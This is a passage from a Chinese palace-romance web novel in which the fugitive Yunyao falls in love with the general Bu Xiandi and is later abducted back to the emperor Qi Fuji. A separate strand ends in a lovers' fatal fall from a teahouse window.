这么一想,眼泪就禁不住落下来。 甚至哭出了声。 步仙镝手足无措,脱口而出:“陛下其实在到处找你,我不会让他找到的。” 云窈伏在他肩头,哭得更大声! * 禁宫,寝殿。 齐拂己本已睡下,听闻有云窈信报,披衣起身,坐到桌后等拆信。 大安小跑着将信递给:“臣惊扰陛下歇息,陛下恕罪。” 齐拂己接过信,无妨,没有云窈在怀的每一夜他都睡得极浅,有时候就是睁眼闭眼。 他将信拆开,信中速喜告知遍寻不见,云窈真出关去到它国。 “陛下,眼下三九,京中尚落大雪,关外更是天寒地冻,雪积阻行,且在别国,事关国体,怕是难寻娘娘踪迹。” 齐拂己盯着大安,云窈不会一直在雪地里走,她没那么傻。 齐拂己不紧不慢启唇:“她躲起来了,好好搜。” * 云中城。 步仙镝家中练剑,上下蹁跹,衣袍随之扬起,剑如光又似电,挽得快了,如落一树梨花。 云窈在旁瞧着,心道难怪人说剑是昆吾切玉的劲铁,能挡百万雄师。 她看步仙镝练剑时的专注神情和眸中精光,脸又有些莫名发烫。 待步仙镝收剑入鞘,云窈方才上前,将手中扁壶递给他:“喝口水吧。” 步仙镝一把接过扁壶,冲她咧嘴,露皓齿两排。 云窈微微别首——事情一开始不是这样,那会云窈刚病好,雪也才刚开始消融,她出到院子里走,碰见步仙镝在练剑。 他即刻收剑,手足无措,云窈则赶快走开。 步仙镝神色瞬黯,云窈却去而复返,递给他一壶水。 二人也没多说什么,但之后就默契的变成一个练剑,一个送水,回回如此。 步仙镝喝完以后,仍把扁壶攥得紧紧,云窈却突然递来一方手帕。 “擦擦汗吧。”她低头小声道。 步仙镝本就清澈的眸子变得更明亮,她给他送了十八天的水,但是是第一回递手帕。他了勇气,约她:“马上开春解冻,我们去爬山吧。” 余婆恰巧经过,听见,立马凑过来:“是啊是啊,咱们这就几个月能踏青,秦姑娘你跟将军去散散心吧!将军会护好你的。” 云窈答应。 步仙镝笑起来,过几日休沐,带她上山。 出门云窈还是戴上幂篱,步仙镝端详了会白纱,没提这茬,只道:“来,上来。” 让她扶着他的手上马,一道驶往城郊。今日铁头在城门口当值,望见步仙镝,拱手鞠躬:“将军!” 隔着一层白纱,云窈都能感受到铁头投来的考究目光。 她立马抿唇,还想攥拳,住步府以后,已经许久没这样紧张。 “嗯。”步仙镝冲着铁头颔首,而后扬了下缰绳,令白马缓缓通过城门。 到城外也没即刻提速,马走了一会,才重跑起,城门和城墙皆望不见了,步仙镝才问云窈:“他也避吗?” 他说的是铁头。时至今日,已经明白铁头前任主人毙命的蹊跷,以及铁头从军是在避谁的追杀。 “别让铁头知道。”云窈毫不犹豫回答。 步仙镝眼珠转了下,两分愕然:铁头和她不是一伙的吗? “见过我面的人越少越好。”云窈攥拳,咬唇,声音变低,微微颤抖:“我怕他知道。” 步仙镝先是一愣,继而钝痛缓慢蔓延全身,他两臂收紧将云窈再拘牢些,望向远方青山:“待会我们进山幽僻,不会有人来。” 片刻,云窈回道:“是好地方。” “是。”步仙镝望着前方附和,打马进山。 到了山腰路窄了,他先下马,再扶着她的腰护她下来。云窈腰间温热,抿唇不语,步仙镝手在她腰上继续放了会才放开。 他往前跨一大步,在云窈前面,她瞧见他通红的耳朵。 二人顺着溪涧上山,走向红日。草色远近不一的绿,层层叠叠,这个时节云中依旧冷,需穿夹袄,但山里的松风拂面却并不觉寒,反而觉得清爽。 步仙镝环视一圈,负手道:“天朗气清。” “是。”云窈点头,难得有这么好的空气,她摘下幂篱。 忽有一只小鹿从林间闪出,跃过小溪,云窈下一大跳,不自觉挽住步仙镝胳膊。 步仙镝定住。 云窈渐定心神,另一只手指放唇上,同步仙镝做了个嘘的姿势,而后就眺向远处小鹿,尤其凝视那一对鹿角。 步仙镝打量云窈,眺鹿,又深深看着她。 过会,鹿不见了,云窈方才同步仙镝笑道:“这里竟有鹿。” 才发现手挽着他胳膊,讪讪松开。 步仙镝仍负手,但两只胳膊明显顿了下。 二人继续往深处走,步仙镝瞧见涧边盛放许多小花、红黄蓝橘皆有,二话不说蹲下来摘。 “唉——”云窈打他胳膊一下,“人家好好的开在地里,你把它们都掐了!” 步仙镝一笑:“关外很少开花的,过几天它们都会谢,不如留下芳菲。”他找了块石头坐下,编起花环。 云窈在他旁边蹲下:“你还会编这?” 步仙镝挪了挪身,让一半石头给她坐。云窈刚在步仙镝身边坐下,他就将编好的花环往她头上一戴:“但是是第一次给人戴。” 云窈脸红,臊得偏头也侧身,哪知胳膊却不慎刮到步仙镝胳膊,他忽然用力,隔着衣料紧紧贴着。云窈一怔,但没挪开,过会,她也用力抵他的胳膊,两人好似角力,谁也不让谁,但脸上渐渐都漾开笑。 上回步仙镝问过云窈,怎么想到编姓秦,她有告知乳名。此刻他双唇嗫嚅,踟蹰了一会方才唤:“琴琴。” 第一回叫,别说步仙镝,就是云窈自己听见了都心扑通乱跳。 因为隔得近,她也可以听见他心跳的声音。 “跟我在一起吧。”步仙镝坚定道,云窈浑身都开始烫起来,心跳得更快更乱。 “我会一直陪着你,一辈子在云中,永不回京。”步仙镝坦诚所思所想,“倘若陛下发现,我们可以躲进山里,做一对世外野人。” 片刻,云窈道:“要做就做世外仙侣,当什么野人。” 步仙镝反应迟缓得很,他拉了拉云窈,令她靠向自己肩头,自己则解下腰间玉佩,还是曾经在木樨小筑打算送云窈的那枚:“这枚玉佩,还是给你。” 他心潮起伏,满满全是兜兜转转,命定之感。 云窈也认出玉佩,打趣道:“你这又是欠恩还情?” “这回不是!”步仙镝急忙澄清,“是定情!” 没想到他那般直白,反倒把云窈弄害臊了。步仙镝却终于缓过劲,确定云窈真答应自己。他整个人变得极其亢奋,自个站起还箍着云窈的腰将她抱起,腾空转圈。 “步仙镝你快放我下来,我要摔了!” 步仙镝马上听话放她落地,然后也不言语,就咧个嘴冲她傻乐,他今日出城没戴紫金冠,唯用一根紫蒲色发带束马尾,随山风摆。 * 京城,风雅居。 自齐拂己登基后,李凝由少卿升任大理寺寺卿,认识的人越发多,乔装打扮一番,染白鬓发,方才敢进这栋茶楼。 顶楼包间是他和齐姝静从前私会的老地方,但上回说清楚后,他已经有四个月没来了,也一直躲在齐姝静不见面。 可她总拐弯抹角给他留话,一样东西要还给李凝。 李凝胆战心惊,此刻上楼左顾右盼,不住张望,确定没有人留意自己,方才闪入包间。 齐姝静已经等在屋内,浅藕的裆裤,天青色罩衫配绯色抹胸,这是李凝最爱的一套,情不自禁眼前一亮,又想起好像跟她说过最喜欢。 他朝齐姝静走去,她却始终伫立窗前不动。 李凝眺了眼窗子,还好,关起来,外面人瞧不见。 “到底是什么东西要还我?”他问。 齐姝静定定看着他,不言不语,李凝怕她纠缠,抿了下唇:“算了,你自己丢了吧,别给我了。” 他说着就想撤离,齐姝静却突然开口问:“她要生了?” 李凝抑制不住眨眼,她最终还是知道了? 齐姝静睹着他神色变幻,心头凄凄一笑——满京城的人都晓得,建平侯府有喜事,李寺卿的夫人已怀胎八月,即将临盆。 只有她不晓得,是个傻子。 李凝亦睹见齐姝静脸上痴怨,在心底叹了口气。 其实,在他和齐姝静最如胶似漆的那段日子里,有动过同于氏和离,迎娶齐姝静进门的念头。 但他也要顾念于氏孝敬老侯爷和侯夫人,常年侍奉左右,二老都很喜欢,说来,于氏并无错处…… 再后来,齐姝静想抗旨拒婚,找上他,他回家面对于氏,和离的话在口中含了许久,万分纠结,方要出口,于氏却告诉他自己有了两个月身孕。 他看着于氏眸子里的欣喜,心里也隐隐升起初为人父的期待。 他便转头同齐姝静断了。 此刻,齐姝静紧紧盯着李凝,眼尾泛红,嗓音哽咽:“那我呢?” 于氏有孕,那她呢? 李凝对上齐姝静目光,面露难色:她现在已经是郡主了,岂能做妾? 上回就因为拒婚,差点露馅与丞相交恶,还好她没把他招供出来。 李凝有时回想,的确是自己一时冲动,没多考虑。 “你我就算了吧。”李凝调头欲出门,“把我忘了。” 他没法给她幸福。 齐姝静却突然快跑几步,从背后抱住李凝。 李凝驻足,想要扒开齐姝静的胳膊,她却上下其手,李凝不由阻道:“你别这样。” 齐姝静却不听,二人屡次亲密无间,彼此都无比熟悉,他很快被她勾得情动,转过身来,猛地抱住齐姝静。 他盯着她,喘息,心道这是她主动招惹他的,埋头在她颈间狠狠咬了一口,渐渐二人靠着窗子,剥得只剩抹胸,李凝也褪了亵裤。他打量她,目光流连:“你今日真好看。” 齐姝静凝视李凝,明明情郎缱绻缠绵如昨,却怎么什么都变了呢? 她看他乔装打扮染的白发,可他从未想过和她到白头。 “凭什么。”齐姝静朱唇轻动,呢喃。 这声音比蚊子嗡还细,李凝没听清:“你说什么?” 齐姝静性子静,情动时仍端庄,以前极少回应李凝的荤话,他以为她这是为了留住自己,主动开口讲了,不由高兴,凑近齐姝静,很想听一听。 靠着窗子的齐姝静却突然抱紧李凝,将他箍死,而后一起后仰,破窗坠落。 所有动作只在一瞬间,二人不整的衣衫在空中蹁跹。 “痴情女,薄情郎,一梦似黄粱。”她笑着念起话本里看过的那句话,临到快坠落前,李凝忽然扭身带着她转半个圈,闭起眼睛。 砰的一声巨响,他先坠地,脑浆崩裂、四肢俱折,齐姝静虽有李凝垫底却没好到那去,五脏六腑俱裂,二人仅差一刹,先后气绝。 第55章 第五十五章 罗网 围观的百姓报官,很快有大理寺差役赶至,男尸血肉模糊,他们仔细辨别了会,才认出顶头上司,心惊肉跳,又思及李凝衣冠不整,面面相觑。 兹事体大,报于刑部和内阁,又上报宫中。 丞相和刑部尚书深夜赶至御书房,求见皇帝,内侍急忙进殿通传给大安,大安却没有即刻告知皇帝,反而蹙眉捏手,面露难色——因为齐拂己自戌时接到边关信报,就一直坐在桌上,沉吟不语,脸色铁青。 皇帝没像往常那样读完信,即刻拿到灯上烧了,而是紧紧攥着,揉成团,似乎已经被捏成碎片。 估计云窈那里得了特别不好的消息,皇帝愠怒。 大安猜测不到也不敢猜,一颗心七上八下,此刻再告知皇帝李凝的噩耗,岂不是火上浇油,雪上添霜? “什么事?”齐拂己突然问话。 大安一个哆嗦,皇帝原来没有沉浸神游,晓得周遭变化,亦晓得外面有大臣求见。大安赶紧碎步凑近齐拂己,告知李凝暴亡。 “宣他们进来。”齐拂己语气平静。 大安赶紧跑出去,再把丞相和尚书都领进门。 二臣不敢欺君,将李凝坠楼原委,一并与齐姝静的私情道明,但亦知此事涉及天家,讲完亦不觉脑袋还在颈上,冷汗涔涔。 大安一开始瞪大眼,到后面听见丑事,只恨自己长耳朵。 “有多少人亲见?”齐拂己却是寻常地问。 “不到百人,臣等已及时清场封禁道路。”刑部尚书顿了顿,“再就是建平侯府一众人等知晓。” “封口。”齐拂己干脆利落,“李寺卿乃醉酒不慎坠楼。” “微臣遵旨。” 丞相和尚书退下,分头去按齐拂己吩咐善后。 御书房内又只剩下皇帝和大安。 齐拂己静坐须臾,启唇:“研墨。” 大安赶紧伺候好笔墨,齐拂己提笔,大安壮着胆子瞅了一眼,皇帝亲自写给远在边关的小太尉,内里竟说李凝醉酒坠亡,未□□。 大安心生疑惑,但不敢言,齐拂己已经写完封口,将信交给大安:“将报丧信送去云中城。” “臣遵旨!”大安埋首,双手接过,齐拂己则扭头看向屋内的仙鹤滴漏,时辰尚早,他吩咐:“召闻喜郡主入宫。” 闻喜郡主既是从前的齐二姑娘齐姝妍,齐姝静的同父姊妹,大安寻思,陛下是不是要知会并宽慰齐姝妍,叫她节哀。 转念却觉不对,那怎么只传唤齐姝妍,不召齐姝静的亲母冯氏? 大安可不敢说出自个的疑惑,垂首恭顺:“遵旨,臣这就去请。” * 云中城,步府。 云窈答应步仙镝已经有两月了,却依然接缝补活计,步仙镝说她想做就做,不想做他也养得活她,都依云窈喜好。 这一日晴好,她搬了军服放到院子里的石桌上,一面晒太阳一面缝补,瞧得也能清楚些,步仙镝帮她浆洗缝好的军服,一件件晾晒。 云窈专注缝补完一件,无意抬头,才发现军服已经都晾完了,步仙镝站在竿前,盯着她笑,也不知看了多久,云窈脸红低头,却也禁不住默默笑起来。 她再抬头,见他还在盯着自己笑,臊道:“晒你的衣服吧!” “都晒完了。”步仙镝傻傻回答,乐呵出两声。 “将军、将军!”铁头的呼唤从外头传来,云窈急忙放下针线找幂篱,听声音距离感觉来不及了,但许是铁头跑长了路喘不上气,脚步越来越慢,云窈赶在他进门前戴好幂篱。 有些仓促,她扶了下桌面,步仙镝见状扶住她胳膊,接着又改搂腰。 铁头喘粗气,哐的一声撞到门板上。 步仙镝蹙眉:“何事这般毛毛躁躁?” 铁头举起手中信笺:“京中来信!” 步仙镝旋即思及皇帝,心中一凛,再定睛看那信封是齐拂己惯用的,心思愈沉。步仙镝感觉到云窈抓他的衣裳攥紧,遂揽腰肢的手往上抬,拍了拍她的背,莫怕。 “有说什么事吗?”步仙镝边问边抬另一只胳膊要信。 铁头朝步仙镝走近:“好像听说是李大人去了。” 步仙镝愣着没反应过来。 铁头又强调一遍,递上信笺:“大理寺卿李大人去了。” “去哪了?”步仙镝嗫嚅,接过信笺,面上迷茫之色未散。 “人没了……”铁头面上泛起悲戚,声音也越来越低沉,“大人节哀。” 步仙镝陡然回过神,急匆匆拆信,他的手都在颤抖,一瞬间不认识一个个墨字,云窈在旁偷看,却是瞧得分明,许是步仙镝手抖得太厉害,纸晃起来,她眼前亦是一片恍惚。 她想起李凝和步仙镝、齐拂己三人匪浅关系,心惊胆战,一柄利剑骤然悬于头顶,步仙镝侧首看向云窈,似乎忍不住有话要同她讲。 云窈对视,张目,提醒他暂时不要开口。 步仙镝默咽一口忍住,等铁头走后,二人私下待在屋内,他才同她哽咽道:“李兄是我挚交知己,我必须进京吊丧。” 用的商量语气,却说了“必须”。 云窈忽然觉得头顶的绳子断了,甚至可以听见砰的一声,剑落下来。 两个月前他才向她许诺,这辈子不回京城,她自然有几分愤怒,但见步仙镝眼睛通红晶莹,却又不忍,化作柔声:“不是说好了……不回京吗?” 曾经打动她的誓言,犹在耳边响起。 步仙镝定定看着云窈:“做人要有情有义。” 云窈一时纷乱,既自私地想指责他食言,又忍不住欣赏他的性情,还有许许多多,百感交杂。 她深吸口气,正要开口,忽听步仙镝又道:“跟我一道回京吧?” “你疯了!”云窈脱口而出。 “没说常住,”步仙镝凑近云窈,解释,“就待个七、八日,我们再一道返回云中。”他看向云窈,眸中泛起几缕期待和哀婉,复又低头,“我想娶你过门,总要……先见过父母吧?” 云窈噎了下,设身处地,换到步仙镝的位置,他没有错。可她一想到要回京城,就觉自投罗网,她甚至能想象自己一进城,城门立关,她就想一只粘往的飞蛾被裹起来,送到齐拂己面前。 云窈霎时起一身鸡皮疙瘩,不住摇头:“我不回京,死也不回!” 她本能想抱臂护己,又想倚入步仙镝怀中,寻求安慰,却记起他刚刚才讲的,执意回京那番话,身子定住。 云窈就伫在原地,与步仙镝两两凝视。 良久,终是步仙镝先开口:“我不逼你,我俩都先静静,缓几日——”想到不能拖延吊丧,那样对不住李凝,步仙镝改口道,“我们先冷静一日,再议。” 一日不过十二时辰,云窈岂会改口。 最终是步仙镝依了云窈,他独自赴京,她留在云中城。 “吊完丧我就即刻折返,尽量只待一两日。” 不再是七、八日了。 他拥着她恋恋不舍,又叮嘱许多云窈独自在云中城需要注意的。 “你放心吧。”云窈回应,“你上京也要多加小心。” “我会留心。”步仙镝说完还拥着她,另一只手去抓云窈放在膝上的手,反复摩挲,又一根根捏她手指。 云窈低头瞧着二人的手,轻道:“你这一去势必会面圣……” 她说不下去,步仙镝却自然而然接话,显然早已经考虑过:“倘若陛下问起,我就说边关守备,不能久离,掉以轻心。” 云窈粘着两瓣唇,不说话,半晌,她似下定决定,突然扭头分唇,吻在步仙镝颊上。 步仙镝瞬间呆滞如雕塑,捏云窈的那只手也不再动作。 云窈咬唇,他们在一起两个月了,但除了搂搂抱抱再没有更亲密的接触,不知为何,她心里这一刻想的竟是一定要如愿,得偿自己的愿也好,膈应齐拂己也罢,趁着步仙镝呆愣,云窈倾身,得寸进尺再吻他的唇。 步仙镝仍定着,唯有一双眼珠慢慢转动,来瞥云窈,突然,他侧身扣住云窈后脑勺,反客为主猛地吻下来。 云窈闭起眼,手无意识抬起,步仙镝也闭着眼,却能感受到,抓起云窈的手放到自己胸口,他自己则转头,吻得更深更投入,云窈很快觉出与从前亲吻的不同。 原来与喜欢的人亲有准备的吻,没有恐惧,没有绝望,吻也可以是甜、滚烫的,不再是冰冷的蛇芯。 她终于体验到。 恍惚间,她觉得自己是临刑前的囚犯,再了一桩心愿就死而无憾。 云窈抓步仙镝胸口的手探上,主动扒他衣领。步仙镝将她手按住,脑袋稍稍分开,唇上犹挂丝,他看着她,喘气道:“等我回来娶你。” 说罢,鼻尖碰了下云窈鼻尖。 云窈没想到以步仙镝的性子,还拘泥这,不由发问:“你不敢么?” 步仙镝鼻尖碰着,额头也抵着,嗫嗫:“我都敢跟你在一起了,还有什么不敢。我想娶你过门,无媒无聘,不可苟合。” 云窈即刻明白这是他对自己的尊重,可她慌得很,怕得厉害,心里没底,总觉得不抓住今夜就再无机会,云窈另一只手继续扒,大有不依不饶之势,步仙镝起先捉住,但架不住她又索吻,渐渐便由着她褪下他的军袍。 突然,云窈下面一热,步仙镝鼻子灵敏,旋即嗅到血腥。 上个月她来癸水的时候他刚好在场,还给她找过汤婆子,遂问:“是不是日子提前来了?” 是的。 云窈闭眼,身上竟莫名泛起一股冰凉。 “我去给你弄个汤婆子。”步仙镝起身,是夜他在床边陪了她一宿,有汤婆子,有糖水,有情人絮语,却再没有碰她。 翌日,启程。 云窈送行时递给他一枚平安符:“来不及绣新的,这是我自用的一枚。” 步仙镝低头端详,指腹顺着针线摩挲,而后将平安符揣进怀中,贴在心口位置。 他翻身上马,却迟迟不扬鞭,再次叮嘱云窈,一同送行的余婆笑道:“将军放心去吧,秦姑娘老身帮着照顾!” 铁头亦道:“是啊,我们都会帮忙的,将军放心。” 步仙镝同余婆、铁头皆道了声谢,而后看向云窈,坚定道:“我速去速回。” 云窈的头也点得很坚定,步仙镝这才策马,她目送他渐行渐远,变成一个点,最后消失不见。 步仙镝离开的三日,卯辰之间,余婆出去采买食材,云窈在府中打扫,正擦桌子,突觉脑后一痛,她回过头来,见铁头竟悄无声息立在自己身后,手刀还来不及收回。 之前步仙镝在府里时,铁头经常不打招呼就入府,但眼下不同了,云窈立马觉出不对劲,但脑袋被击打的后劲上来,晕乎乎的。 “你做什么?”她一边往后退一边问,突然惊觉自己没戴幂篱,汗毛倒竖。 铁头步步逼近,启唇、吐字:“云娘娘,得罪了。” 说着连敲两下,云窈正想质问他忘了张宗云的冤情,不记得齐拂己要他死了吗?来不及出口,就被铁头彻底敲晕。 他应该继续给她灌了许多迷药,云窈再醒来时,竟然坐在一座偌大宫殿的中央。 满殿仅角落里那盏长明灯寂寂自燃,旁的灯都灭着,因此殿内大半被黑夜笼罩,幽深阴冷。 云窈定睛望向前方,瞧清楚床上雕刻龙首,连明黄的帐幔上都绣着天子才能用的五爪龙。 这是皇帝的寝宫! 云窈暮然回首,兀地瞧见那个最不想见,也是最怕见的人。 他穿着常服龙袍,仅用一根玉簪束发,做了天子,眉目似乎更舒展也更俊逸,却半点不吸引云窈,在她眼里只觉更威慑更冷酷。 瘫在在地的云窈挣扎站起,要逃,却发现所有窗户都被钉死,铜门似乎也从外面反锁上。 第56章 第五十六章 好戏 远处,齐拂己缓缓下阶,没有刻意收敛脚步,云窈听见响动,回头一望,发现他正噙笑注视着她。她赶紧躲避齐拂己视线,身子也往后退。 齐拂己扬高的唇角动了动:这是她醒来以后,第二回对视,太少了,太少了。 他眼睛粘在她脸上,缓步凑近,云窈步步后退,直到贴到门上,退无可退。贴着她的后背的铜门既冰凉又膈人,令她心发颤。 “怎么又逃?”齐拂己走到近前,伏身,鼻尖想去凑云窈鼻尖。她即刻避开,齐拂己的眸里有痴迷,亦不解,笑意阴恻恻却也饱含委屈,“妹妹——说过喜欢我的。” 这都是哪年哪月的事情啊?!云窈在心里叫囔,她已经一遍又一遍解释过是幌子,他怎么不听呢? 云窈瞟齐拂己一眼:“是,我是说过,但我不是后来明明白白同你澄清,那只是一个幌子了吗?我不喜欢你!” 第三眼,他都数着呢,鼻酸快哭出来:“是,我们的确成过亲。” 他怎么话都听不清?云窈既恨又无奈,又恼自己情急之下带出乡音,咬字不清。 “你这是胡搅蛮缠。”她不再看他。 齐拂己闻言静静地想,永远缠住不是很好么?这样他就不会被她留在找不到她的深渊。 云窈却在冷静下来后,思考自己已被挟持回京,关在宫中多久? 步仙镝是否已回云中? 倘若他回去了,发现她不在,一定会来援救,如果没回去,恐已遭遇不测…… 她不受控撩起眼皮,飞快瞥了眼齐拂己。 第四眼,齐拂己在心头默默数道。 刚才那一霎对视,云窈晓得他止不住有什么稀奇古怪的曲解,她懒得揣测,其实开口问眼前这个疯子今日是何年何月,也许可以直接得到答案,但他说了她也会存疑、不信,索性不问。 要是在云中就好了,她想,夜晚不仅可以通过星星的高低判断天气,还能推算月日。 她有点思念云中了。 云窈禁不住勾唇笑了下。 她笑了!齐拂己激动不已,虽然笑容很浅,但重逢后她终于对他笑了,他终于得到了回应,不对……齐拂己心骤往下坠,这笑不是给他的。 良久,他兀地歪头,像木偶咔嚓一下,折叠脑袋,又似表情雕凿失败的兵佣,滑稽中带着恐怖:“他碰你没有?” 他记得自己第一次收到步仙镝藏匿云窈的线报,整个人如坠冰窖,再后来,越来越多的信报,他们在大庭广众下牵手,拦腰,共乘一骑,以为戴一顶幂篱就能瞒天过海,他不知用了多少毅力才迫使自己镇定下来,旁人看着他如常上朝、下朝、进膳、就寝,其实时时刻刻想发疯。 他终于忍不住,紧锁云窈双目,求一个答案。 齐拂己问出碰没碰时,云窈心轻轻一跳。 她一直在避免提及,尽量保护步仙镝,但显然齐拂己都知晓。 她知道激不激怒眼前这个疯子,他都想置步仙镝死地,张宗云、齐拂意,不都是这样? 云窈勾起唇角,冲齐拂己一笑。 齐拂己整个人剧烈地颤抖起来,碰了,她竟然让别的男人碰了! 云窈的眼眶反倒比齐拂己先泛红,她迎着他锐利的目光,想起灵堂成亲和随之而来的占有,恨道:“你永远不会懂两情相悦。” 齐拂己突然钳住云窈,疯狂吻下,扒开她的衣领一口口吸吮锁骨,又啃脖子,毫无章法。他鼻息粗重,瞳孔通红,多少回了,她一次又一次好似当面扇他巴掌,告诉他自作多情的下场就是自取其辱。 他早该认清事实,她不爱他,永远不爱,他再怎么努力,她也不会改变。 但她怎么可以爱上别的男人? 她宁愿站在别的男人身边欢颜笑语,也不愿施舍给他一个属于他的笑意。 齐拂己左胳膊仍如铁锁住云窈腰肢,迫她与他紧贴,另一只手钳起她的下巴,对着唇再吻下去,云窈强行扭头,这一吻错落在唇角边。齐拂己太阳穴直跳,额上青筋亦暴起,怎么,她还打算为步仙镝守贞? 他是天子,天子不可以退让和失去,齐拂己继续吻下去,咬噬云窈嘴唇,兴许是太蛮横粗暴,又或许他的样子太骇人,云窈终生害怕,眼泪止不住夺眶而出。 她身子倏地失力,齐拂己将她兜住。 唉,她终于服软了,他在心底轻叹一声,每次都是这样,到了最后,她才慑服,才明白之前的反抗有多愚蠢和危险。她也不会哄他,就是哭,再要么就是捶胸蹬腿,打棉花似的打他,再就是兔子样骂两声,不伤人,反而挠得他脖子痒痒。 齐拂己发现自己的怒气霎时全消,也只剩下软绵绵一颗心。 复叹一声,恨自己的不争气,偏吃这套,无可奈何。 齐拂己松开云窈,她即刻跑远,但是殿里除了桌椅就是龙床,她不知躲藏何处,乱转一通。齐拂己笑了下,觉得她像只无头苍蝇,又气自己,不能用苍蝇侮辱她! 他等云窈不乱跑了,在桌边站定,方才缓缓再次朝她走近。 云窈往右躲,齐拂己却似早能预料般往右一纵,就轻轻松松将她扛起,反背到肩上,云窈拳打脚踢:“你快放我下来!” 齐拂己乐得翘高嘴角,就是这样感觉,他觉得这拳捶出来的是蜜汁糖水,甘之如饴,又想时隔这么久,终于又踏踏实实搂她在怀里,不由将她将放下。 云窈以为齐拂己放过自己,哪知他却搂她到面前,响亮啜了一口,然后又把她举过肩膀,还抗肩上。云窈气坏了,禁不住喊出:“齐拂己!” 齐拂己更开心了,自从登基以来,何人敢直呼其名?还得是她。 他语气诱哄:“再喊一声听听。” 云窈咬紧牙关,打死不喊。 齐拂己早料到,并不恼:“朕带你去看场好戏。” “我不要!放我下来!”云窈不住挣扎,却半点挣脱不得,“你放我下来!” 齐拂己恍若未闻,带着她上马,朝宫门驶去,御道上只有他和他的女人能够策马,原本心情如同夜风般舒畅,却冷不丁思及线报,步仙镝也曾这般,与云窈共乘一骑。那她是在他的马背上舒服高兴,还是步仙镝的? 这个问题显然没必要问出口。 齐拂己的心情一瞬晴转狂风骤雨,一抖缰绳:“驾!” 马快得四蹄几不沾地,云窈不想,却不得不抓紧齐拂己避免坠落,不由恼道:“你不能跑慢点?” 齐拂己唇抿一线,鼻息粗重,要说跑马驰骋,步仙镝第一块,她为什么唯独嫌他? 云窈和齐拂己对上一眼,知道他在生气,却不知是哪一点激怒了他? 齐拂己直入一私宅后院,又扛着她登上最高的阁楼。 云窈进门时就观察过街景,陌生,她没来过。这会齐拂己一放她下来,她就再次往窗边眺,齐拂己突然想到齐姝静,心里一慌,将她手紧紧捉住。 云窈扭头瞪他一眼:做什么? 齐拂己盯着她,他怕她死了。 转念思忖,人家寻死是殉情,她做不到,至少对他做不出。 这么一想就颇为丧气。 云窈未再理会齐拂己,他牵着就牵着,她改变不了,于是扭着身子往下俯视,对街宅邸阔气恢弘,应是大户人家,门口石狮上吊着两个灯笼,能将门前那一处和半边街照亮。 云窈听见清脆的马蹄踏砖声,她循声望去,见两匹白马载着两名白衣人,由远及近。 仅瞅一眼,她就认出右首是步仙镝和他的爱驹,云窈心一紧,手颤了下,齐拂己虎口将她掐紧。 云窈见步仙镝在对街门前下马,她眺他位置,再回看身处阁楼,的确能一箭射杀。她紧张看向齐拂己——他不会要动手吧? 齐拂己单看她表情就被气笑:“你觉得朕会杀了他?”他索性走近,贴上她后背,“戍边守将,没功劳也有苦劳,再则步氏三代忠良,朕岂会昏聩?” 云窈回头打量他,似不信。 齐拂己深吸口气,看来她领会不到精髓,得手把手教。他脑袋搁上她肩头,带着她的手往下指:“你仔细瞧瞧,他旁边还有谁?” 云窈之前见着另一人穿的同色圆领袍,身形偏瘦小,便以为是步仙镝在京中的小厮长随,没有在意。这会齐拂己特意点醒,才心一凛,定睛细辨。 刚好那人又和齐拂己同站门前,牵马说话,借着灯光云窈瞧清那人的脸,竟是女人,是……齐姝妍? 云窈心本能颤了下,寒气凛冽,却在齐拂己面前尽力维持平静。 齐拂己却非要侧首特意盯她的脸,凝睇了会,他笑:“三更半夜,孤男寡女,你说他俩聊些什么?” 云窈喉头滑动了下,其实她也不能说清,为什么以前步仙镝对齐姝妍避之不及,今夜却与她并行策马,又在寒夜里对望私语。 同时她也不知道步仙镝滞留京师的原因,是不是被齐拂己胁迫? 他曾许诺一日还。 云窈心绪起伏,却不叫齐拂己看出,一脸镇定反问他:“你不知道?这不是你故意安排,让我瞧见的吗?” 齐拂己却答非所问:“姝妍如今是闻喜郡主,这是她御赐的府邸。”他朝底下点了点下巴,“哎哟,他俩怎么进去了?” 云窈原本冷冷瞅着齐拂己,闻言迅速回正脑袋,亲眼瞧着步仙镝和齐姝妍前后跨进府中,步仙镝甚至帮她牵了马。 大门很快关上,灯照着路面和狮子,冷若月光。 齐拂己又有些于心不忍,手绕过云窈肩膀去抚她的眼,还好,没有泪。 他牵着她坐下,斟两盏茶:“朕来给你讲讲,怎么回事?” 第57章 第五十七章 请爱上他 他将当中一盏茶推到云窈手边,云窈不接,齐拂己就笑着更换两只茶盏,方才推到云窈身边那盏拿回来,自己喝,他这盏给她:“没有毒。” 云窈心中暗呵一声,他明知道不是毒不毒的问题,她就不会喝他斟的,但她也没有开口拒绝他讲步仙镝的事。 于是齐拂己娓娓道来。 步仙镝自云中启程,起先还夜间借宿,待离得京城近了,就索性不住了,星夜兼程。他记路,都熟得很,夜路走起来如同白天,却听得女子囔囔救命,又见旁边野林子里火苗晃动,步仙镝毫不犹豫弃了马,手按腰间剑,钻入林中,只见有二蒙面匪徒,不顾一女子嘶喊求饶,拖着她往密林深处去。步仙镝心头蹿火,厉喝一声,拔剑刺去,二匪与他过了两招就知打不过,丢下女子,抱头鼠窜。 步仙镝欲追匪徒,却女子埋头抱臂坐在地上,瑟瑟发抖,他犹豫了下,没再追击,而是上前虚扶女子:“姑娘,莫怕,匪贼已经逃走了。” 女子迟缓抬头,旋即一愣,步仙镝也一愣,竟然是齐姝妍。 他本能后仰上身,伸出去的手也往回收了下。 齐姝妍瞧在眼里,受伤神色一闪而过,她边擦脸上的泪边转身,步仙镝迟滞了会,追上去道:“你先别走,身上银两还在吗?他们……”步仙镝上下打量齐姝妍,“可有对你做什么?” “银子没了,做什么……”齐姝妍哽咽下,“还没来得及。” 步仙镝避开对视:“那你记得那俩贼样貌么?” 齐姝妍停步,回首看向步仙镝。 步仙镝躲过对视:“你如果记得,我们要去报官。擒奸擿伏,不能让他们漏网。” “好。”齐姝妍就回了一个字,然后就静静等在步仙镝领她去。 她面上神色始终冷淡,全然没有从前面对步仙镝时的黏糊劲,步仙镝反而又愣了下。 他领着她钻出密林,几番回首,齐姝妍都离步仙镝颇远。步仙镝蹙眉,放慢步伐,可齐姝妍也放慢,显然,她在刻意同步仙镝保持距离。 步仙镝嚅了唇,深锁眉头:“你不能太离远了,不然再有匪徒,我不能及时救应。” 齐姝妍这才走近些。外头只等着步仙镝的马,他又问:“你有马吗?” 齐姝妍摇头。 步仙镝脑中一闪而过她红衣策马,追赶自己的画面,他深吸口气:“那走过去吧。” 他牵马和齐姝妍步行,寻到最近的镇子,报完官,刚出衙门,齐姝妍就向他告辞。 步仙镝怔然,片刻后从怀中掏出一沓银票给齐姝妍,相识一场当救急:“这些你拿去用。” 